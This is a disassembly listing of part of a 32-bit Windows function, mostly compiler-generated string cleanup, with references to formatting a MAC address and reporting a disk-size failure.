mov eax, dword [ebp - 0x4dc]
add esp, 0xc
add eax, dword [ebp - 0x244]
xor edx, edx
mov ecx, dword [ebp - 0x4f8]
mov word [ecx + eax*2], dx
jmp 0x4588c6
push edx
push dword [ebp - 0x234]
mov ecx, esi
push dword [ebp - 0x4f0]
push edx
call fcn.0048f560
mov ecx, dword [ebp - 0x2b0]
sub edi, ecx
cmp edi, 0xd
jb 0x458ee8
cmp dword [ebp - 0x2ac], 7
lea eax, [ebp - 0x2c0]
push ecx
cmova eax, dword [ebp - 0x2c0]
push eax
push 0xd
push str.MAC_address:
push ecx
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x510]
call fcn.00493f50
push 0x774698
lea edx, [ebp - 0x510]
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x268]
call fcn.0048c730
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x39
cmp dword [edx + 0x14], 7
mov edi, dword [edx + 0x10]
jbe 0x458934
mov edx, dword [edx]
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp edi, eax
ja 0x458987
cmp dword [esi + 0x14], 7
lea eax, [edi + ecx]
mov dword [ebp - 0x4dc], eax
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x4f8], esi
jbe 0x458962
mov eax, dword [esi]
mov dword [ebp - 0x4f8], eax
lea ecx, [eax + ecx*2]
lea eax, [edi + edi]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x4f8]
add esp, 0xc
mov ecx, dword [ebp - 0x4dc]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x458997
push edi
push edx
push dword [ebp - 0x4f0]
mov ecx, esi
push edi
call fcn.0048f560
mov ecx, dword [ebp - 0x254]
cmp ecx, 7
jbe 0x4589d3
mov edx, dword [ebp - 0x268]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4589c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458a22
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x4fc]
xor eax, eax
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x254], 7
mov word [ebp - 0x268], ax
cmp ecx, 7
jbe 0x458a32
mov edx, dword [ebp - 0x510]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458a28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458a28
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3fc]
cmp ecx, 7
jbe 0x458a72
mov edx, dword [ebp - 0x410]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458a68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 7
jbe 0x458ab2
mov edx, dword [ebp - 0x2f0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458aa8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x2ac]
xor eax, eax
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 7
mov word [ebp - 0x2f0], ax
cmp ecx, 7
jbe 0x458b0f
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458b05
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 7
jbe 0x458b4f
mov edx, dword [ebp - 0x308]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458b45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x30c]
cmp ecx, 7
jbe 0x458b8f
mov edx, dword [ebp - 0x320]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458b85
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x324]
xor eax, eax
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x30c], 7
mov word [ebp - 0x320], ax
cmp ecx, 7
jbe 0x458bec
mov edx, dword [ebp - 0x338]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458be2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x33c]
xor eax, eax
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x324], 7
mov word [ebp - 0x338], ax
cmp ecx, 7
jbe 0x458c49
mov edx, dword [ebp - 0x350]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458c3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x354]
xor eax, eax
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x33c], 7
mov word [ebp - 0x350], ax
cmp ecx, 7
jbe 0x458ca6
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458c9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x36c]
xor eax, eax
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 7
mov word [ebp - 0x368], ax
cmp ecx, 7
jbe 0x458d03
mov edx, dword [ebp - 0x380]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458cf9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x384]
xor eax, eax
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x36c], 7
mov word [ebp - 0x380], ax
cmp ecx, 7
jbe 0x458d60
mov edx, dword [ebp - 0x398]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458d56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x39c]
xor eax, eax
mov dword [ebp - 0x388], 0
mov dword [ebp - 0x384], 7
mov word [ebp - 0x398], ax
cmp ecx, 7
jbe 0x458db9
mov edx, dword [ebp - 0x3b0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458daf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458e08
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov ecx, dword [ebp - 0x3b4]
xor eax, eax
mov dword [ebp - 0x3a0], 0
mov dword [ebp - 0x39c], 7
mov word [ebp - 0x3b0], ax
cmp ecx, 7
jbe 0x458e18
mov edx, dword [ebp - 0x3c8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458e0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x458e0e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
lea ecx, [ebp - 0x3e0]
call fcn.0044dbc0
lea ecx, [ebp - 0x2d8]
call fcn.0044dbc0
lea ecx, [ebp - 0x3f8]
call fcn.0044dbc0
lea ecx, [ebp - 0x428]
call fcn.0044dbc0
lea ecx, [ebp - 0x440]
call fcn.0044dbc0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.006daf70
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_disk_size.
lea ecx, [ebp - 0x3f8]
call fcn.004511a0
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 5
call fcn.00451140
push str.Failed_to_get_disk_size.
lea ecx, [ebp - 0x29c]
call fcn.0044bae0
push 0x787e60
lea eax, [ebp - 0x29c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
call fcn.0044bad0
int3